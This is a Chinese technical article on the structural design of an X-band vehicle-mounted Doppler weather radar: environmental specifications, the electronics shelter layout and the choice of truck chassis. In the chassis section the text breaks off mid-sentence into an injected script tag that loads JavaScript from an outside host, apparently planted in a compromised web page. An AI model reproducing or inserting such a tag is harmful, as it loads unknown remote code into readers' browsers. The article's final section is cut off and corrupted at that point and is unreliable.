X波段车载型多普勒天气雷达结构总体设计综述

摘 要:给出了x波段车载型多普勒天气雷达结构总体设计,针对天气雷达的特点及技术和环境条件的要求对总体结构的几个主要组成作了简要的介绍。

关键词:多普勒;天气雷达;结构总体;方舱;载车

1 引 言

随着国民经济的快速发展,人们越来越重视气候的变化,气象的预测显得越来越重要。气象事业发展纲要明确指出,大力发展新一代天气雷达,加速多普勒天气雷达软硬件和应用技术的研究,进一步发展并完善中尺度气象监测网和气候监测网,并投入气象业务使用,是气象事业发展的需要。

天气雷达是利用雨滴、云粒、冰晶、雪花等对电磁波的散射作用来探测大气中的天气现象,主要探测和测量对象包括降水、热带气旋、雷暴、中尺度气旋、湍流、龙卷、冰雹、冻雨、冻结层、融化层等。脉冲多普勒天气雷达技术先进、功能齐全、性能优良,不仅能测定降水位置和强度,还能测定降水内部气流的速度和流向。在多普勒天气雷达上增加双线偏振功能能够获取更多有关降水粒子形状和相态的信息。

近年来,美国、西欧纷纷进行研究,目前也只是建立各种实验系统,在国内更是没有先例。研制双线偏振多普勒天气雷达是目前双线偏振技术发展的趋势,是二十一世纪雷达的发展目标。

2 概 述

x波段车载型多普勒天气雷达系统主要用于一些地区性实时气象业务和科研的外场试验、重大工程建设的气象保障和防灾抗灾的气象服务。

x波段车载型多普勒天气雷达系统的特点:全天候工作是天气雷达的一大特点。越是在天气恶劣的情况下,越需要获得真实可靠的气象数据。其次是雷达连续运行时间相对较长,要适应野外全天候的工作。

但是,相对于其它测量雷达,其轴系精度和传动精度要求低。

x波段车载型多普勒天气雷达结构总体主要由天馈伺系统、雷达信号系统和载车系统等三部分组成。

该雷达结构总体设计和国内外同类产品相比,虽然天线口径达2.4米,但由于采用倒伏机构实现了天线座的倒伏,保证了天线能360°旋转,避免了方舱对电波的遮挡,克服了国外某些雷达采取低高度结构而不能全方位探测的缺点。全机采用单车结构配以手动千斤顶,整机架设时间短、调平精度高且运输状态利用倒伏机构实行整体运输,克服了国外同类雷达运输单元多、现场架设时间长的缺点,技术上在国内外处领先水平。

雷达工作状态如图1所示。

雷达运输状态如图2所示。

3 结构总体设计

3.1 环境使用条件

3.1.1 工作温度

  室外-40℃~+50℃

室内0℃~+40℃

贮存温度室外-40℃~+55℃

相对湿度室外95~98%(+30℃时)

室内90~96%(+30℃时)

3.1.2风载荷25m/s

  保精度 35m/s 不破坏

3.1.3天线工作范围方位0~360°

俯仰-1°~+90°

探测距离300km

天线工作角速度   方位0~36°/s

  俯仰0~12°/s

天线工作角加速度   方位10°/s2

  俯仰6°/s2

3.1.4可靠性及维修性

平均无故障工作时间   mtbf>400h

平均修复时间mttr<0.5h

3.1.5海拔高度≤3000m。

3.2 电子设备方舱及布局设计

考虑到雷达采用单车结构,底盘可利用的长度较短以及设备量较少,方舱选用caf30有梁大板方舱,方舱外形尺寸为:长×宽×高=2911mm×2100mm×2100mm。尺寸系列和质量符合总后军事交通运输研究所《军用通用方舱外部尺寸与最大总质量系列》的标准。

方舱的性能应符合国军标gjb870-90《军用电子设备方舱通用规范》。具有良好的防雨、防尘和防腐措施。

方舱的门窗孔口尺寸符合尺寸系列要求,且均采取屏蔽措施。隔热性能好,在内外温差为55℃时,传热系数<1.2w/m2℃。

方舱系统集成时充分考虑到隔振缓冲、防尘、接地、配电、走线和照明等要求。方舱设有新风补充口,风口采取屏蔽措施。

在发射机柜和接收机柜后开有维修门便于走线和维修。

方舱后部装有沙发,沙发底部装有备份柜。

两个机柜间设有工作台,安装有军用加固液晶显示器和打印机,上方装有一调光开关,便于操作人员工作。

方舱用分体式空调和暖风机调节舱内空气温度,方舱和载车用旋锁固定。舱内布局如图3所示。

3.3 载车选择与改装设计

设备重约3t,底盘承载面较长,考虑到工作在海拔3000m,且用户非雨季值班时载车另有它用,经比较拟选用东风汽车公司生产的eq1108g6d14底盘改装。该车采用东风康明斯6bt5.9型直列六缸增压柴油发动机,具有良好的低温起动性能,装配ptc电热陶瓷冷起动装置可在零下40度顺利起动。该车采用平头带卧二门驾驶室,外形?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计